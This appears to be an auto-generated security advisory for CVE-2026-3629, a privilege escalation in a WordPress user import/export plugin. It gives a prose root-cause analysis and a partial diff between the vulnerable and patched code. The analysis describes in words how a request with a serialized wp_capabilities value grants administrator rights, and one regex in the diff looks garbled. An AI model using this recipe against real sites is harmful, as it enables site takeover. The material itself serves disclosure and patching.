Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 23, 2026

CVE-2026-3629: Import and export users and customers <= 1.29.7 – Privilege Escalation to Administrator via save_extra_user_profile_fields (import-users-from-csv-with-meta)

CVE ID CVE-2026-3629
Severity High (CVSS 8.1)
CWE 269
Vulnerable Version 1.29.7
Patched Version 2.0
Disclosed March 20, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3629:
The Import and export users and customers WordPress plugin, versions up to and including 1.29.7, contains an improper access control vulnerability in its user profile field handling. This vulnerability allows unauthenticated attackers to escalate privileges to administrator under specific configuration conditions. The CVSS score of 8.1 reflects the high impact of successful exploitation.

Atomic Edge research identifies the root cause in the `save_extra_user_profile_fields` function within `/import-users-from-csv-with-meta/classes/columns.php`. The function fails to properly validate user meta keys against a comprehensive restricted fields list. Specifically, the `get_restricted_fields` method in `/import-users-from-csv-with-meta/classes/helper.php` does not include critical WordPress capability meta keys such as `wp_capabilities` and `wp_user_level`. This omission occurs because the method only merges basic WordPress user fields with a minimal set of restricted fields, leaving sensitive capability keys unprotected. The vulnerability manifests when the plugin’s ‘Show fields in profile’ setting is enabled and a CSV file containing a `wp_capabilities` column has been previously imported.

Exploitation requires two preconditions: the ‘Show fields in profile’ setting must be active, and a CSV file with a `wp_capabilities` column header must have been imported into the system. Attackers can then craft a registration request containing the `wp_capabilities` parameter with administrator privileges serialized. The attack vector targets the user registration or profile update functionality where the plugin processes extra profile fields. The payload would include a parameter like `wp_capabilities` with a serialized array value granting administrator capabilities, which the vulnerable `save_extra_user_profile_fields` function accepts without proper validation.

The patch addresses the vulnerability through multiple changes. In `/import-users-from-csv-with-meta/classes/helper.php`, the `get_restricted_fields` method now explicitly includes `$wpdb->prefix . ‘capabilities’` and `$wpdb->prefix . ‘user_level’` in the restricted fields array. The `save_extra_user_profile_fields` function in `/import-users-from-csv-with-meta/classes/columns.php` adds a capability check with `current_user_can(‘edit_user’, $user_id)` and implements case-insensitive comparison using `strtolower` when checking restricted fields. These changes ensure that sensitive capability meta keys cannot be modified through profile field updates, and only authorized users can edit profile data.

Successful exploitation results in complete privilege escalation to administrator level. Attackers can gain full control over the WordPress installation, including the ability to modify plugins, themes, user accounts, and site content. This access could lead to data theft, site defacement, malware injection, or complete site compromise. The vulnerability represents a critical security failure in access control mechanisms for user meta data modification.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/import-users-from-csv-with-meta/addons/advanced-custom-fields.php
+++ b/import-users-from-csv-with-meta/addons/advanced-custom-fields.php
@@ -11,7 +11,7 @@
 		add_filter( 'acui_restricted_fields', array( $this, 'restricted_fields' ), 10, 1 );
 		add_filter( 'acui_not_meta_fields', array( $this, 'restricted_fields' ), 10, 1 );
 		add_action( 'acui_documentation_after_plugins_activated', array( $this, 'documentation' ) );
-		add_action( 'post_acui_import_single_user', array( $this, 'import' ), 10, 3 );
+		add_action( 'acui_post_import_single_user', array( $this, 'import' ), 10, 3 );
 		add_filter( 'acui_export_columns', array( $this, 'export_columns' ), 10, 1 );
 		add_filter( 'acui_export_data', array( $this, 'export_data' ), 10, 2 );
 	}
--- a/import-users-from-csv-with-meta/addons/buddypress.php
+++ b/import-users-from-csv-with-meta/addons/buddypress.php
@@ -31,8 +31,8 @@
 		add_action( 'acui_documentation_after_plugins_activated', array( $this, 'documentation' ) );
 		add_filter( 'acui_export_columns', array( $this, 'export_columns' ), 10, 1 );
 		add_filter( 'acui_export_data', array( $this, 'export_data' ), 10, 3 );
-		add_action( 'post_acui_import_single_user', array( $this, 'import' ), 10, 10 );
-		add_action( 'post_acui_import_single_user', array( $this, 'import_avatar' ), 10, 3 );
+		add_action( 'acui_post_import_single_user', array( $this, 'import' ), 10, 10 );
+		add_action( 'acui_post_import_single_user', array( $this, 'import_avatar' ), 10, 3 );
 	}

 	function restricted_fields( $acui_restricted_fields ){
--- a/import-users-from-csv-with-meta/addons/customer-area.php
+++ b/import-users-from-csv-with-meta/addons/customer-area.php
@@ -10,7 +10,7 @@
 	function __construct(){
 		add_filter( 'acui_restricted_fields', array( $this, 'restricted_fields' ), 10, 1 );
 		add_action( 'acui_documentation_after_plugins_activated', array( $this, 'after_plugins_activated' ) );
-		add_action( 'post_acui_import_single_user', array( $this, 'post_import_single_user' ), 10, 3 );
+		add_action( 'acui_post_import_single_user', array( $this, 'post_import_single_user' ), 10, 3 );
 	}

 	function restricted_fields( $acui_restricted_fields ){
--- a/import-users-from-csv-with-meta/addons/groups.php
+++ b/import-users-from-csv-with-meta/addons/groups.php
@@ -10,8 +10,8 @@
 	function __construct(){
 		add_filter( 'acui_restricted_fields', array( $this, 'restricted_fields' ), 10, 1 );
 		add_action( 'acui_documentation_after_plugins_activated', array( $this, 'documentation' ) );
-		add_action( 'post_acui_import_single_user', array( $this, 'import_single_user' ), 10, 3 );
-		add_action( 'post_acui_import_single_user', array( $this, 'import_single_user_by_name' ), 11, 3 );
+		add_action( 'acui_post_import_single_user', array( $this, 'import_single_user' ), 10, 3 );
+		add_action( 'acui_post_import_single_user', array( $this, 'import_single_user_by_name' ), 11, 3 );
 	}

 	function restricted_fields( $acui_restricted_fields ){
--- a/import-users-from-csv-with-meta/addons/indeed-ultimate-membership-pro.php
+++ b/import-users-from-csv-with-meta/addons/indeed-ultimate-membership-pro.php
@@ -10,7 +10,7 @@
 	function __construct(){
 		add_filter( 'acui_restricted_fields', array( $this, 'restricted_fields' ), 10, 1 );
 		add_action( 'acui_documentation_after_plugins_activated', array( $this, 'documentation' ) );
-		add_action( 'post_acui_import_single_user', array( $this, 'import_single_user' ), 10, 3 );
+		add_action( 'acui_post_import_single_user', array( $this, 'import_single_user' ), 10, 3 );
 	}

 	function fields(){
--- a/import-users-from-csv-with-meta/addons/mailpoet.php
+++ b/import-users-from-csv-with-meta/addons/mailpoet.php
@@ -8,7 +8,7 @@

 add_filter( 'acui_restricted_fields', 'acui_mp_restricted_fields', 10, 1 );
 add_action( 'acui_documentation_after_plugins_activated', 'acui_mp_documentation_after_plugins_activated' );
-add_action( 'post_acui_import_single_user', 'acui_mp_post_import_single_user', 10, 3 );
+add_action( 'acui_post_import_single_user', 'acui_mp_post_import_single_user', 10, 3 );

 function acui_mp_restricted_fields( $acui_restricted_fields ){
 	return array_merge( $acui_restricted_fields, array( 'mailpoet_list_ids' ) );
--- a/import-users-from-csv-with-meta/addons/melapress-login-security.php
+++ b/import-users-from-csv-with-meta/addons/melapress-login-security.php
@@ -11,7 +11,7 @@

     function hooks(){
 		add_action( 'acui_documentation_after_plugins_activated', array( $this, 'documentation' ) );
-		add_action( 'post_acui_import_single_user', array( $this, 'import' ), PHP_INT_MAX, 10 );
+		add_action( 'acui_post_import_single_user', array( $this, 'import' ), PHP_INT_MAX, 10 );
 	}

 	function documentation(){
--- a/import-users-from-csv-with-meta/addons/new-user-approve.php
+++ b/import-users-from-csv-with-meta/addons/new-user-approve.php
@@ -29,8 +29,8 @@
 	<?php
 }

-add_action( 'post_acui_import_single_user', 'acui_new_user_post_acui_import_single_user', 10, 6  );
-function acui_new_user_post_acui_import_single_user( $headers, $data, $user_id, $role, $positions, $form_data ){
+add_action( 'acui_post_import_single_user', 'acui_new_user_acui_post_import_single_user', 10, 6  );
+function acui_new_user_acui_post_import_single_user( $headers, $data, $user_id, $role, $positions, $form_data ){
 	$approve_users_new_user_approve = ( empty( $form_data["approve_users_new_user_appove"] ) ) ? "no_approve" : sanitize_text_field( $form_data["approve_users_new_user_appove"] );
 	if( $approve_users_new_user_approve == "approve" ){
 		update_user_meta( $user_id, "pw_user_status", "approved" );
--- a/import-users-from-csv-with-meta/addons/paid-member-subscriptions.php
+++ b/import-users-from-csv-with-meta/addons/paid-member-subscriptions.php
@@ -9,7 +9,7 @@
 	function __construct(){
 		add_filter( 'acui_restricted_fields', array( $this, 'restricted_fields' ), 10, 1 );
 		add_action( 'acui_documentation_after_plugins_activated', array( $this, 'documentation' ) );
-		add_action( 'post_acui_import_single_user', array( $this, 'assign' ), 10, 4 );
+		add_action( 'acui_post_import_single_user', array( $this, 'assign' ), 10, 4 );
     }

     function get_fields(){
--- a/import-users-from-csv-with-meta/addons/pmpro.php
+++ b/import-users-from-csv-with-meta/addons/pmpro.php
@@ -11,7 +11,7 @@

 add_filter( 'acui_restricted_fields', 'acui_pmpro_restricted_fields', 10, 1 );
 add_action( 'acui_documentation_after_plugins_activated', 'acui_pmpro_documentation_after_plugins_activated' );
-add_action( 'post_acui_import_single_user', 'acui_pmpro_post_import_single_user', 10, 3 );
+add_action( 'acui_post_import_single_user', 'acui_pmpro_post_import_single_user', 10, 3 );

 function acui_pmpro_fields() {
 	$pmpro_fields = array(
--- a/import-users-from-csv-with-meta/addons/pmpro_v3.php
+++ b/import-users-from-csv-with-meta/addons/pmpro_v3.php
@@ -39,7 +39,7 @@
     function bootstrap(){
         add_filter( 'acui_restricted_fields', array( $this, 'fields' ), 10, 1 );
         add_action( 'acui_documentation_after_plugins_activated', array( $this, 'doc' ) );
-        add_action( 'post_acui_import_single_user', array( $this, 'import' ), 10, 3 );
+        add_action( 'acui_post_import_single_user', array( $this, 'import' ), 10, 3 );
     }

     function fields( $acui_restricted_fields ) {
--- a/import-users-from-csv-with-meta/addons/users-group.php
+++ b/import-users-from-csv-with-meta/addons/users-group.php
@@ -8,7 +8,7 @@

 add_filter( 'acui_restricted_fields', 'acui_ug_restricted_fields', 10, 1 );
 add_action( 'acui_documentation_after_plugins_activated', 'acui_ug_documentation_after_plugins_activated' );
-add_action( 'post_acui_import_single_user', 'acui_ug_post_import_single_user', 10, 3 );
+add_action( 'acui_post_import_single_user', 'acui_ug_post_import_single_user', 10, 3 );

 function acui_ug_restricted_fields( $acui_restricted_fields ){
 	return array_merge( $acui_restricted_fields, array( 'user_group' ) );
--- a/import-users-from-csv-with-meta/addons/woocommerce-custom-fields.php
+++ b/import-users-from-csv-with-meta/addons/woocommerce-custom-fields.php
@@ -11,7 +11,7 @@
 		add_filter( 'acui_restricted_fields', array( $this, 'restricted_fields' ), 10, 1 );
 		add_filter( 'acui_not_meta_fields', array( $this, 'restricted_fields' ), 10, 1 );
 		add_action( 'acui_documentation_after_plugins_activated', array( $this, 'documentation' ) );
-		add_action( 'post_acui_import_single_user', array( $this, 'import' ), 10, 3 );
+		add_action( 'acui_post_import_single_user', array( $this, 'import' ), 10, 3 );
 	}

 	function get_fields(){
--- a/import-users-from-csv-with-meta/addons/woocommerce-membership-rightpress.php
+++ b/import-users-from-csv-with-meta/addons/woocommerce-membership-rightpress.php
@@ -8,7 +8,7 @@

 add_filter( 'acui_restricted_fields', 'acui_wmr_restricted_fields', 10, 1 );
 add_action( 'acui_documentation_after_plugins_activated', 'acui_wmr_documentation_after_plugins_activated' );
-add_action( 'post_acui_import_single_user', 'acui_wmr_post_import_single_user', 10, 3 );
+add_action( 'acui_post_import_single_user', 'acui_wmr_post_import_single_user', 10, 3 );

 function acui_wmr_restricted_fields( $acui_restricted_fields ){
 	return array_merge( $acui_restricted_fields, array( 'plan_id' ) );
--- a/import-users-from-csv-with-meta/addons/woocommerce-membership.php
+++ b/import-users-from-csv-with-meta/addons/woocommerce-membership.php
@@ -8,7 +8,7 @@

 add_filter( 'acui_restricted_fields', 'acui_wm_restricted_fields', 10, 1 );
 add_action( 'acui_documentation_after_plugins_activated', 'acui_wm_documentation_after_plugins_activated' );
-add_action( 'post_acui_import_single_user', 'acui_wm_post_import_single_user', 10, 3 );
+add_action( 'acui_post_import_single_user', 'acui_wm_post_import_single_user', 10, 3 );

 function acui_wm_restricted_fields( $acui_restricted_fields ){
 	return array_merge( $acui_restricted_fields, array( 'member_first_name', 'member_last_name', 'member_email', 'membership_plan_id', 'membership_plan_slug', 'membership_plan', 'membership_status', 'member_since', 'membership_expiration' ) );
--- a/import-users-from-csv-with-meta/addons/woocommerce-subscriptions.php
+++ b/import-users-from-csv-with-meta/addons/woocommerce-subscriptions.php
@@ -14,7 +14,7 @@
 		add_action( 'acui_header_table_extra_rows', array( $this, 'header_table_extra_rows' ) );
 		add_action( 'acui_documentation_after_plugins_activated', array( $this, 'documentation' ) );
 		add_action( 'after_acui_import_users', array( $this, 'end' ) );
-		add_action( 'post_acui_import_single_user', array( $this, 'import' ), 10, 3 );
+		add_action( 'acui_post_import_single_user', array( $this, 'import' ), 10, 3 );

 		$this->all_virtual = true;
 	}
--- a/import-users-from-csv-with-meta/addons/woocommerce.php
+++ b/import-users-from-csv-with-meta/addons/woocommerce.php
@@ -13,7 +13,7 @@
 	function __construct(){
 		add_filter( 'acui_restricted_fields', array( $this, 'restricted_fields' ), 10, 1 );
 		add_action( 'acui_documentation_after_plugins_activated', array( $this, 'documentation' ) );
-		add_action( 'post_acui_import_single_user', array( $this, 'sync_wc_customer' ), 10, 4 );
+		add_action( 'acui_post_import_single_user', array( $this, 'sync_wc_customer' ), 10, 4 );
 		add_action( 'after_acui_import_users', array( $this, 'clear_transients' ) );
 		add_filter( 'acui_import_email_body_before_wpautop', array( $this, 'include_overrides_email' ), 10, 5 );
 		add_action( 'acui_email_wildcards_list_elements', array( $this, 'new_wildcards_email' ) );
--- a/import-users-from-csv-with-meta/addons/wp-access-area.php
+++ b/import-users-from-csv-with-meta/addons/wp-access-area.php
@@ -12,7 +12,7 @@

     function hooks(){
         add_filter( 'acui_restricted_fields', array( $this, 'restricted_fields' ), 10, 1 );
-        add_action( 'post_acui_import_single_user', array( $this, 'import' ), 10, 3 );
+        add_action( 'acui_post_import_single_user', array( $this, 'import' ), 10, 3 );
     }

     function restricted_fields( $acui_restricted_fields ){
--- a/import-users-from-csv-with-meta/addons/wp-lms-course.php
+++ b/import-users-from-csv-with-meta/addons/wp-lms-course.php
@@ -10,7 +10,7 @@

 add_filter( 'acui_restricted_fields', 'acui_wlms_restricted_fields', 10, 1 );
 add_action( 'acui_documentation_after_plugins_activated', 'acui_wlms_documentation_after_plugins_activated' );
-add_action( 'post_acui_import_single_user', 'acui_wlms_post_import_single_user', 10, 3 );
+add_action( 'acui_post_import_single_user', 'acui_wlms_post_import_single_user', 10, 3 );

 function acui_wlms_restricted_fields( $acui_restricted_fields ){
 	return array_merge( $acui_restricted_fields, array( 'lms_courses' ) );
--- a/import-users-from-csv-with-meta/addons/wp-members.php
+++ b/import-users-from-csv-with-meta/addons/wp-members.php
@@ -53,8 +53,8 @@
 	<?php
 }

-add_action( 'post_acui_import_single_user', 'acui_wp_members_post_acui_import_single_user', 10, 6 );
-function acui_wp_members_post_acui_import_single_user( $headers, $data, $user_id, $role, $positions, $form_data ){
+add_action( 'acui_post_import_single_user', 'acui_wp_members_acui_post_import_single_user', 10, 6 );
+function acui_wp_members_acui_post_import_single_user( $headers, $data, $user_id, $role, $positions, $form_data ){
 	$activate_users_wp_members = ( !isset( $form_data["activate_users_wp_members"] ) || empty( $form_data["activate_users_wp_members"] ) ) ? "no_activate" : sanitize_text_field( $form_data["activate_users_wp_members"] );
 	if( $activate_users_wp_members == "activate" ){
 		update_user_meta( $user_id, "active", true );
--- a/import-users-from-csv-with-meta/addons/wp-private-content-plus.php
+++ b/import-users-from-csv-with-meta/addons/wp-private-content-plus.php
@@ -13,7 +13,7 @@
         add_filter( 'acui_restricted_fields', array( $this, 'restricted_fields' ), 10, 1 );
         add_filter( 'acui_export_columns', array( $this, 'export_columns' ), 10, 1 );
 		add_filter( 'acui_export_data', array( $this, 'export_data' ), 10, 2 );
-        add_action( 'post_acui_import_single_user', array( $this, 'import' ), 10, 3 );
+        add_action( 'acui_post_import_single_user', array( $this, 'import' ), 10, 3 );
     }

 	function restricted_fields( $acui_restricted_fields ){
--- a/import-users-from-csv-with-meta/addons/wp-user-avatar.php
+++ b/import-users-from-csv-with-meta/addons/wp-user-avatar.php
@@ -17,7 +17,7 @@
     function hooks(){
         add_filter( 'acui_restricted_fields', array( $this, 'restricted_fields' ), 10, 1 );
         add_action( 'acui_documentation_after_plugins_activated', array( $this, 'documentation_after_plugins_activated' ) );
-        add_action( 'post_acui_import_single_user', array( $this, 'post_import_single_user' ), 10, 3 );
+        add_action( 'acui_post_import_single_user', array( $this, 'post_import_single_user' ), 10, 3 );
         add_filter( 'acui_export_columns', array( $this, 'export_columns' ), 10, 1 );
 		add_filter( 'acui_export_data', array( $this, 'export_data' ), 10, 2 );
     }
--- a/import-users-from-csv-with-meta/addons/wp-users-group.php
+++ b/import-users-from-csv-with-meta/addons/wp-users-group.php
@@ -8,7 +8,7 @@

 add_filter( 'acui_restricted_fields', 'acui_wpug_restricted_fields', 10, 1 );
 add_action( 'acui_documentation_after_plugins_activated', 'acui_wpug_documentation_after_plugins_activated' );
-add_action( 'post_acui_import_single_user', 'acui_wpug_post_import_single_user', 10, 3 );
+add_action( 'acui_post_import_single_user', 'acui_wpug_post_import_single_user', 10, 3 );

 function acui_wpug_restricted_fields( $acui_restricted_fields ){
 	return array_merge( $acui_restricted_fields, array( 'user_group' ) );
--- a/import-users-from-csv-with-meta/addons/wpum-groups.php
+++ b/import-users-from-csv-with-meta/addons/wpum-groups.php
@@ -11,7 +11,7 @@
     }

     function hooks(){
-		add_action( 'post_acui_import_single_user', array( $this, 'assign_group' ), 10, 7 );
+		add_action( 'acui_post_import_single_user', array( $this, 'assign_group' ), 10, 7 );
 	}

 	function assign_group( $headers, $data, $user_id, $role, $positions, $form_data, $is_frontend ){
--- a/import-users-from-csv-with-meta/classes/actions.php
+++ b/import-users-from-csv-with-meta/classes/actions.php
@@ -18,7 +18,7 @@
 			add_action( 'acui_action_' . $registered_action, array( $this, $registered_action ), 10, 6 );
 		}

-		add_action( 'post_acui_import_single_user', array( $this, 'run' ), 10, 8 );
+		add_action( 'acui_post_import_single_user', array( $this, 'run' ), 10, 8 );
 	}

 	function check_prefix( $header ){
--- a/import-users-from-csv-with-meta/classes/batch_exporter.php
+++ b/import-users-from-csv-with-meta/classes/batch_exporter.php
@@ -254,6 +254,9 @@
     }

     function set_filtered_columns( $filtered_columns ){
+        if ( ! is_array( $filtered_columns ) ) {
+            $filtered_columns = preg_replace( '/s*,s*/', ',', $filtered_columns );
+        }
         $filtered_columns = ( is_array( $filtered_columns ) ) ? array_map( 'sanitize_text_field', $filtered_columns ) : explode( ',', sanitize_text_field( $filtered_columns ) );

         if( empty( $filtered_columns[0] ) )
@@ -617,12 +620,12 @@
 	function prepare_data_to_export() {
 		$users = $this->get_user_id_list();
         $this->row_data = array();
-
+
 		foreach ( $users as $user ) {
             $row = array();
 			$userdata = get_userdata( $user );

-            foreach ( $this->get_user_data( $this->get_filtered_columns() ) as $key ) {
+            foreach ( $this->get_user_data() as $key ) {
 				if( $key == 'source_user_id' )
 					$row[ $key ] = $this->prepare( $key, $userdata->ID, $this->get_datetime_format(), $user );
 				else
@@ -638,7 +641,7 @@

             if( count( $this->get_filtered_columns() ) == 0 || in_array( 'user_email', $this->get_filtered_columns() ) || in_array( 'user_login', $this->get_filtered_columns() ) )
 			    $row = $this->maybe_fill_empty_data( $row, $user, $this->get_filtered_columns() );
-
+
 			$row = apply_filters( 'acui_export_data', $row, $user, array(
 				'columns' => $this->get_columns_to_export(),
 				'datetime_format' => $this->get_datetime_format(),
@@ -746,13 +749,12 @@
 	    $meta_keys = array();

         $usermeta = get_transient( 'acui_export_user_meta_keys' );
-		$usermeta = '';
-
+
         if( empty( $usermeta ) ){
-            $usermeta = $wpdb->get_results( "SELECT distinct $wpdb->usermeta.meta_key FROM $wpdb->usermeta", ARRAY_A );
+            $usermeta = $wpdb->get_results( "SELECT distinct BINARY($wpdb->usermeta.meta_key) as meta_key FROM $wpdb->usermeta", ARRAY_A );
             set_transient( 'acui_export_user_meta_keys', $usermeta, HOUR_IN_SECONDS );
         }
-
+
 	  	foreach( $usermeta as $key => $value) {
 			if( $value["meta_key"] == 'role' || $value["meta_key"] == 'source_user_id' )
 				continue;
--- a/import-users-from-csv-with-meta/classes/columns.php
+++ b/import-users-from-csv-with-meta/classes/columns.php
@@ -21,14 +21,13 @@
 		if( $hook != 'tools_page_acui' || !isset( $_GET['tab'] ) || $_GET['tab'] != 'columns' )
 			return;

-		wp_enqueue_script( 'acui-datatables', '//cdn.datatables.net/1.10.20/js/jquery.dataTables.min.js', array( 'jquery' ), '1.10.20' );
-		wp_enqueue_style( 'acui-datatables', '//cdn.datatables.net/1.10.20/css/jquery.dataTables.min.css', array(), '1.10.20' );
+		wp_enqueue_script( 'datatable', '//cdn.datatables.net/2.2.2/js/dataTables.min.js', array( 'jquery' ), '2.2.2' );
+		wp_enqueue_style( 'datatable', '//cdn.datatables.net/2.2.2/css/dataTables.dataTables.min.css', array(), '2.2.2' );
 	}

 	public static function admin_gui(){
 		$show_profile_fields = get_option( "acui_show_profile_fields");
 		$headers = get_option("acui_columns");
-		//$headers_extended = self::get_extended();
 	?>
 	<h3><?php _e( 'Extra profile fields', 'import-users-from-csv-with-meta' ); ?></h3>
 	<table class="form-table">
@@ -167,15 +166,17 @@
 		$acui_restricted_fields = ACUIHelper()->get_restricted_fields();
 		$headers = get_option( "acui_columns" );

-		if( is_array( $headers ) && !empty( array_diff( $headers, $acui_restricted_fields ) ) ):
+		$restricted_lower = array_map( 'strtolower', $acui_restricted_fields );
+		$visible_columns = is_array( $headers ) ? array_filter( $headers, function( $col ) use ( $restricted_lower ) {
+			return !in_array( strtolower( $col ), $restricted_lower );
+		} ) : array();
+
+		if( !empty( $visible_columns ) ):
 	?>
 		<h3>Extra profile information</h3>
-
-		<table class="form-table"><?php
-		foreach ( $headers as $column ):
-			if( in_array( $column, $acui_restricted_fields ) )
-				continue;

+		<table class="form-table"><?php
+		foreach ( $visible_columns as $column ):
 			$column = esc_html( $column );
 			$value = is_a( $user, 'WP_User' ) ? esc_attr( ACUI_Helper::show_meta( $user->ID, $column ) ) : '';
 		?>
@@ -191,6 +192,9 @@
 	}

 	function save_extra_user_profile_fields( $user_id ){
+		if( !current_user_can( 'edit_user', $user_id ) )
+			return;
+
 		$post_filtered = filter_input_array( INPUT_POST );
 		if( empty( $post_filtered ) || count( $post_filtered ) == 0 )
 			return;
@@ -203,7 +207,7 @@
             $values = array();

 			foreach ( $headers as $column ){
-				if( in_array( $column, $acui_restricted_fields ) )
+				if( in_array( strtolower( $column ), array_map( 'strtolower', $acui_restricted_fields ) ) )
 					continue;

 				$column_sanitized = str_replace(" ", "_", $column );
--- a/import-users-from-csv-with-meta/classes/csv-uploaded.php
+++ b/import-users-from-csv-with-meta/classes/csv-uploaded.php
@@ -15,8 +15,16 @@
 	    $args_old_csv = array( 'post_type'=> 'attachment', 'post_mime_type' => 'text/csv', 'post_status' => 'inherit', 'posts_per_page' => -1 );
 		$old_csv_files = new WP_Query( $args_old_csv );

+        echo '<div class="wrap" style="margin-top:20px;">';
+        echo '<h3>' . __( 'CSV uploaded', 'import-users-from-csv-with-meta' ) . '</h3>';
+
         if( $old_csv_files->found_posts == 0 ){
-            _e( 'All correct, there is no file in the attachment library that is a CSV and therefore may contain sensitive information and could be found illicitly.', 'import-users-from-csv-with-meta' );
+            ?>
+            <div class="notice notice-info">
+                <p><?php _e( 'All correct, there is no file in the attachment library that is a CSV and therefore may contain sensitive information and could be found illicitly.', 'import-users-from-csv-with-meta' ); ?></p>
+            </div>
+            </div>
+            <?php
             return;
         }
         ?>
@@ -78,6 +86,7 @@
             });
         } )
         </script>
+        </div>
 		<?php
 	}

--- a/import-users-from-csv-with-meta/classes/email-options.php
+++ b/import-users-from-csv-with-meta/classes/email-options.php
@@ -223,7 +223,17 @@
 		$headers_mail = apply_filters( 'acui_import_email_headers', array( 'Content-Type: text/html; charset=UTF-8' ), $headers, $data, $created, $user_id );
 		$attachments = apply_filters( 'acui_import_email_attachments', $attachments, $headers, $data, $created, $user_id );

-		wp_mail( $email_to, $subject, $body, $headers_mail, $attachments );
+		try {
+			wp_mail( $email_to, $subject, $body, $headers_mail, $attachments );
+		} catch ( Exception $e ) {
+			if( defined( 'WP_DEBUG' ) && WP_DEBUG ){
+				error_log( 'ACUI Error sending email: ' . $e->getMessage() );
+			}
+		} catch ( Error $er ) {
+			if( defined( 'WP_DEBUG' ) && WP_DEBUG ){
+				error_log( 'ACUI Fatal error sending email: ' . $er->getMessage() );
+			}
+		}
 	}

 	static function apply_wildcards( $string, $user_object, $created, $positions, $headers, $data, $password, $key ){
--- a/import-users-from-csv-with-meta/classes/export.php
+++ b/import-users-from-csv-with-meta/classes/export.php
@@ -354,4 +354,5 @@
 		ACUISettings()->save_multiple( 'export_backend', $settings );
 	}
 }
+global $acui_exporter;
 $acui_exporter = new ACUI_Exporter();
 No newline at end of file
--- a/import-users-from-csv-with-meta/classes/force-reset-password.php
+++ b/import-users-from-csv-with-meta/classes/force-reset-password.php
@@ -7,7 +7,7 @@
     }

     function hooks(){
-        add_action( 'post_acui_import_single_user', array( $this, 'new_user' ), 10, 9 );
+        add_action( 'acui_post_import_single_user', array( $this, 'new_user' ), 10, 9 );
 		add_action( 'personal_options_update', array( $this, 'updated' ) );
 		add_action( 'template_redirect', array( $this, 'redirect' ) );
 		add_action( 'current_screen', array( $this, 'redirect' ) );
--- a/import-users-from-csv-with-meta/classes/frontend.php
+++ b/import-users-from-csv-with-meta/classes/frontend.php
@@ -536,5 +536,6 @@
 	}
 }

+global $acui_frontend;
 $acui_frontend = new ACUI_Frontend();
 $acui_frontend->hooks();
 No newline at end of file
--- a/import-users-from-csv-with-meta/classes/helper.php
+++ b/import-users-from-csv-with-meta/classes/helper.php
@@ -144,8 +144,10 @@
     }

     function get_restricted_fields(){
+        global $wpdb;
+
         $wp_users_fields = $this->get_wp_users_fields();
-        $wp_min_fields = array( "Username", "Email", "role"  );
+        $wp_min_fields = array( "Username", "Email", "role", $wpdb->prefix . 'capabilities', $wpdb->prefix . 'user_level' );
         $acui_restricted_fields = array_merge( $wp_users_fields, $wp_min_fields );

         return apply_filters( 'acui_restricted_fields', $acui_restricted_fields );
@@ -331,11 +333,13 @@
 		return $foundid;
 	}

-    function print_table_header_footer( $headers ){
+    function print_table_header_footer( $headers, $show_header = true ){
+        if( $show_header ):
         ?>
         <h3><?php echo apply_filters( 'acui_log_inserting_updating_data_title', __( 'Inserting and updating data', 'import-users-from-csv-with-meta' ) ); ?></h3>
-        <table id="acui_results">
-            <thead>
+        <?php endif; ?>
+        <table class="acui-import-rows">
+            <thead <?php if( !$show_header ) echo 'style="display:none;"'; ?>>
                 <tr>
                     <th><?php _e( 'Row', 'import-users-from-csv-with-meta' ); ?></th>
                     <?php foreach( $headers as $element ):
@@ -344,6 +348,14 @@
                     <?php do_action( 'acui_header_table_extra_rows' ); ?>
                 </tr>
             </thead>
+            <tbody>
+        <?php
+    }
+
+    function print_table_end( $show_footer = false, $headers = array() ){
+        ?>
+            </tbody>
+            <?php if( $show_footer ): ?>
             <tfoot>
                 <tr>
                     <th><?php _e( 'Row', 'import-users-from-csv-with-meta' ); ?></th>
@@ -353,13 +365,7 @@
                     <?php do_action( 'acui_header_table_extra_rows' ); ?>
                 </tr>
             </tfoot>
-            <tbody>
-        <?php
-    }
-
-    function print_table_end(){
-        ?>
-            </tbody>
+            <?php endif; ?>
         </table>
         <?php
     }
@@ -444,7 +450,7 @@
     function print_results( $results, $errors ){
         ?>
         <h3><?php _e( 'Results', 'import-users-from-csv-with-meta' ); ?></h3>
-        <table id="acui_results">
+        <table id="acui_import_summary" class="form-table">
             <tbody>
                 <tr>
                     <th><?php _e( 'Users processed', 'import-users-from-csv-with-meta' ); ?></th>
@@ -482,9 +488,20 @@
         ?>
         <script>
         jQuery( document ).ready( function( $ ){
-            $( '#acui_results,#acui_errors' ).DataTable({
-                "scrollX": true,
-            });
+            var $tables = $( '.acui-import-rows' );
+            if ( $tables.length > 1 ) {
+                var $first = $tables.first();
+                $tables.not( ':first' ).each( function() {
+                    $first.find( 'tbody' ).append( $( this ).find( 'tbody tr' ) );
+                    $( this ).closest( '.wrap' ).remove();
+                } );
+            }
+            if ( $tables.length && ! $.fn.DataTable.isDataTable( $tables.first()[0] ) ) {
+                $tables.first().DataTable({ "scrollX": true });
+            }
+            if ( $( '#acui_errors' ).length && ! $.fn.DataTable.isDataTable( '#acui_errors' ) ) {
+                $( '#acui_errors' ).DataTable({ "scrollX": true });
+            }
         } )
         </script>
         <?php
@@ -493,17 +510,22 @@
     function basic_css(){
         ?>
         <style type="text/css">
-            .wrap{
+            #acui_import_log{
                 overflow-x:auto!important;
             }

-            .wrap table{
-                min-width:800px!important;
+            .acui-import-rows,
+            #acui_errors{
+                min-width:800px;
             }

-            .wrap table th,
-            .wrap table td{
-                width:200px!important;
+            .acui-import-rows th,
+            .acui-import-rows td,
+            #acui_errors th,
+            #acui_errors td{
+                min-width:150px;
+                text-align:left;
+                white-space:nowrap;
             }
         </style>
         <?php
--- a/import-users-from-csv-with-meta/classes/homepage.php
+++ b/import-users-from-csv-with-meta/classes/homepage.php
@@ -44,7 +44,62 @@
 		}
 ?>
 	<div class="wrap acui">
+		<style>
+		#acui_import_results{
+			display: none;
+			background-color: #f0f0f1;
+			padding: 20px;
+			margin-top: 20px;
+			margin-bottom: 20px;
+			border-radius: 6px;
+			border: 1px solid #c3c4c7;
+		}
+
+		.user-importer-progress-wrapper{
+			padding: 20px;
+			background-color: white;
+			width: 100%;
+			margin: 0 0 20px 0;
+			text-align: center;
+			border-radius: 9px;
+			box-shadow: 0 4px 6px rgba(0,0,0,0.1);
+			box-sizing: border-box;
+			display: none;
+		}
+
+		.user-importer-progress{
+			width: 100%;
+			height: 42px;
+			border: 0;
+			border-radius: 9px;
+		}
+
+		.user-importer-progress::-webkit-progress-bar {
+			background-color: #f3f3f3;
+			border-radius: 9px;
+		}
+
+		.user-importer-progress::-webkit-progress-value {
+			background: #2271b1;
